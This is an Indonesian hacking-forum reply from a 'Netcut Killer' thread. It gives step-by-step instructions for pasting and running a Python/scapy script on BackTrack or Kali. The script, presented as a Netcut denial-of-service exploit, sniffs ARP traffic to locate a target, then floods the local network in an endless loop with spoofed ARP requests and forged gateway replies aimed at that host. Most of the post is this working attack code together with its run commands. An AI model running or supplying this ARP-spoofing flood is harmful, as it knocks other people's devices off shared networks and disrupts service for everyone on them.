[Share] Netcut Killer !
#48
biar lbh gampang dimengerti saya buat urutannya dr komentar2 tman diatas...

ketik dr terminal backtrack
Code:
gedit netcutkiller.py
atau pada terminal Kali
Code:
leafpad netcutkiller.py

lalu copi paste kode dibawah ini :

Code:
#!/usr/bin/env python
#Exploit Title: Netcut Denial of Service Vulnerability
#Author: MaYaSeVeN
#Greetz: Inj3ct0r 1337day Exploit DataBase (1337day.com)
#Blog:
#PoC: Video  /user/mayaseven
#Picture /-GcwpOXx7ers/TwGVoyj8SmI/AAAAAAAAAxs/wSGL1tKGflc/s1600/a.png
#Version: Netcut 2
#Software Link: /?jiiyq2wcpp41266
#Tested on: Windows Xp, Windows 7
#Greetz :  ZeQ3uL, c1ph3r, x-c0d3, p3lo, Retool2, Gen0TypE, Windows98SE, Sumedt, Rocky Sharma

from scapy.all import sniff,Ether,ARP,RandIP,RandMAC,Padding,sendp,conf
import commands,os,sys

#gw_mac = commands.getoutput("arp -i %s | grep %s" % (conf.iface,conf.iface)).split()[2]
gw_ip  = commands.getoutput("ip route list | grep default").split()[2]
        
def protect(gw_ip,gw_mac):
        os.popen("arp -s %s %s" %(gw_ip,gw_mac))
        print "Protected himself"
        
def detect():
                ans = sniff(filter='arp',timeout=7)
                target=[]
                for r in ans.res:
                        target.append(r.sprintf("%ARP.pdst% %ARP.hwsrc% %ARP.psrc%"))
                return target

def preattack(gw_ip):
        num = []
        count = 0
        target = 0
        temp = 0
        print "Detecting..."
        d = detect()
        for i in range(len(d)):
                if d[i].split()[0] == "255.255.255.255":
                        num.append(d.count(d[i]))
                        if d.count(d[i]) > count:
                                count = d.count(d[i])
                                target = i
                if d[i].split()[0] == gw_ip:
                        temp += 1        
        if len(d) < 7:
                print "[-] No one use Netcut or try again"
                exit()
        if len(num)*7 < temp:
                num[:] = []
                count = 0
                result = float(temp)/len(d)*100
                for j in range(len(d)):
                        if d[i].split()[0] == gw_ip:
                                num.append(d.count(d[j]))
                                if d.count(d[i]) > count:
                                        count = d.count(d[i])
                                        target = i
                        num.reverse()
                        result = float(temp)/len(d)*100
                print target
        else:
                num.reverse()
                result = float(num[0]+temp)/len(d)*100
        
        print "There is a possibility that " + str(result) + "%"
        if result>= 50:
                target_mac = d[target].split()[1]
                target_ip = d[target].split()[2]
                print "[+]Detected, Netcut using by IP %s MAC %s" %(target_ip,target_mac)
                attack(target_mac,target_ip,gw_ip)      
        else:
                print "[-] No one use Netcut or try again"

def attack(target_mac,target_ip,gw_ip):
        print "[+]Counter Attack !!!"
        e = Ether(dst="FF:FF:FF:FF:FF:FF")
        while 1:
                a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1)
                p = e/a/Padding("\x00"*18)
                sendp(p,verbose=0)
                a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2)
                p1 = e/a1/Padding("\x00"*18)
                sendp(p1,verbose=0)
                
if __name__ == '__main__':
        os.system("clear")
        print   "###################################################"
        print   " __  __        __       __     _____   __        __  _   _"
        print   "|  \/  |   \ \   / /   / ____|  \ \    / / | \ | |"
        print   "| \  / | __ \ \_/ /_ _| (___   __\ \  / /__|  \| |"
        print   "| |\/| |/ _\ \   / _\ |\___ \ / _ \ \/ / _ \ . \ |"
        print   "| |  | | (_| || | (_| |____) |  __/\  /  __/ |\  |"
        print   "|_|  |_|\__,_||_|\__,_|_____/ \___| \/ \___|_| \_|"
        print   " "
        print   "###################################################"
        print   ""
        print   ""
        print   ""
        if len(sys.argv) == 2 or len(sys.argv) == 3:
                if len(sys.argv) == 2:
                        conf.iface=sys.argv[1]
                        preattack(gw_ip)
                if len(sys.argv) == 3:
                        conf.iface=sys.argv[1]
                        gw_mac = sys.argv[2]
                        protect(gw_ip,gw_mac)
                        preattack(gw_ip)
        else:
                print '''Mode:  
1.)Attack only
Usage: NetcutKiller <Interface>
e.g. NetcutKiller.py wlan0
                
2.)Attack with protect himself
Usage: NetcutKiller <Interface> <MAC_Gateway>
e.g. NetcutKiller.py wlan0 00:FA:77:AA:BC:AF
'''
======================
lalu simpan dan tutup

lalu, chmod filenya.

Code:
chmod +x netcutkiller.py

Setelah selesai chmod, jalankan

Code:
python netcutkiller.py wlan0

ni perbaikan dr penjelasan mas THTJ
** wlan0 diganti dengan interface yg mau dipakai kalo dr LAN gunakan eth0
pasti jalan...Wink

mudah2an ada yg warna hijau di kantungan plastik saya...:d


Messages In This Thread
Netcut Killer ! - by gembel - 02-21-2012, 10:14 PM
RE: Netcut Killer ! - by riv182 - 02-21-2012, 10:35 PM
RE: Netcut Killer ! - by THJC - 02-21-2012, 10:45 PM
RE: Netcut Killer ! - by riv182 - 02-21-2012, 10:58 PM
RE: Netcut Killer ! - by N4d - 02-21-2012, 11:45 PM
RE: Netcut Killer ! - by gembel - 02-22-2012, 05:37 AM
RE: Netcut Killer ! - by iKONspirasi - 02-22-2012, 06:13 AM
RE: Netcut Killer ! - by riv182 - 02-22-2012, 12:04 PM
RE: Netcut Killer ! - by elnino09121991 - 02-22-2012, 11:19 AM
RE: Netcut Killer ! - by u5h4nt - 02-22-2012, 12:12 PM
RE: Netcut Killer ! - by almarhum - 02-23-2012, 08:27 AM
RE: Netcut Killer ! - by kocok - 11-14-2012, 05:26 PM
RE: Netcut Killer ! - by batanganhitam - 03-07-2012, 01:20 PM
RE: Netcut Killer ! - by gembel - 03-07-2012, 04:20 PM
RE: Netcut Killer ! - by c0d3HitLER - 03-07-2012, 08:14 PM
RE: Netcut Killer ! - by kahfiehudson - 03-07-2012, 11:51 PM
RE: Netcut Killer ! - by THJC - 03-08-2012, 06:15 AM
RE: Netcut Killer ! - by jakkidz - 03-11-2012, 12:37 PM
RE: Netcut Killer ! - by wine trochanter - 03-11-2012, 02:11 PM
RE: Netcut Killer ! - by Al - Ayyubi - 05-25-2012, 12:52 PM
RE: Netcut Killer ! - by kocok - 11-19-2012, 12:58 PM
RE: Netcut Killer ! - by oyster - 01-27-2014, 01:02 PM
RE: Netcut Killer ! - by thedexwan - 03-11-2012, 03:35 PM
RE: Netcut Killer ! - by c0d3HitLER - 03-11-2012, 06:23 PM
RE: Netcut Killer ! - by c0d3HitLER - 03-12-2012, 06:35 PM
RE: Netcut Killer ! - by afrihhilal - 04-05-2012, 11:55 PM
RE: Netcut Killer ! - by iKONspirasi - 04-06-2012, 05:16 AM
RE: Netcut Killer ! - by c0d3HitLER - 04-11-2012, 03:43 PM
RE: Netcut Killer ! - by dark_kiddy - 04-07-2012, 08:33 PM
RE: Netcut Killer ! - by Junior Riau - 04-07-2012, 08:57 PM
RE: Netcut Killer ! - by drewcode - 04-08-2012, 12:10 AM
RE: Netcut Killer ! - by alkaaf - 04-09-2012, 07:25 PM
RE: Netcut Killer ! - by newbie212 - 04-22-2012, 09:03 PM
RE: Netcut Killer ! - by c0d3HitLER - 04-26-2012, 02:54 PM
RE: Netcut Killer ! - by Al - Ayyubi - 05-18-2012, 07:21 PM
RE: Netcut Killer ! - by jrs_faisal - 05-30-2012, 08:33 PM
RE: Netcut Killer ! - by eMJe - 08-10-2012, 01:00 AM
RE: Netcut Killer ! - by iKONspirasi - 08-10-2012, 07:36 AM
RE: Netcut Killer ! - by famous2freak - 09-11-2012, 11:29 AM
RE: Netcut Killer ! - by zasad - 09-11-2012, 06:08 PM
RE: Netcut Killer ! - by dexvils - 09-11-2012, 09:19 PM
RE: Netcut Killer ! - by amanojaku - 12-04-2012, 03:03 PM
RE: Netcut Killer ! - by amanojaku - 12-04-2012, 06:35 PM
RE: Netcut Killer ! - by Lezz - 12-04-2012, 07:27 PM
RE: Netcut Killer ! - by xsan-lahci - 06-13-2013, 09:57 PM
RE: Netcut Killer ! - by naice - 06-13-2013, 12:17 PM
RE: Netcut Killer ! - by ChelvinCesio - 06-13-2013, 01:16 PM
RE: Netcut Killer ! - by oyster - 01-27-2014, 02:37 PM




Users browsing this thread: 1 Guest(s)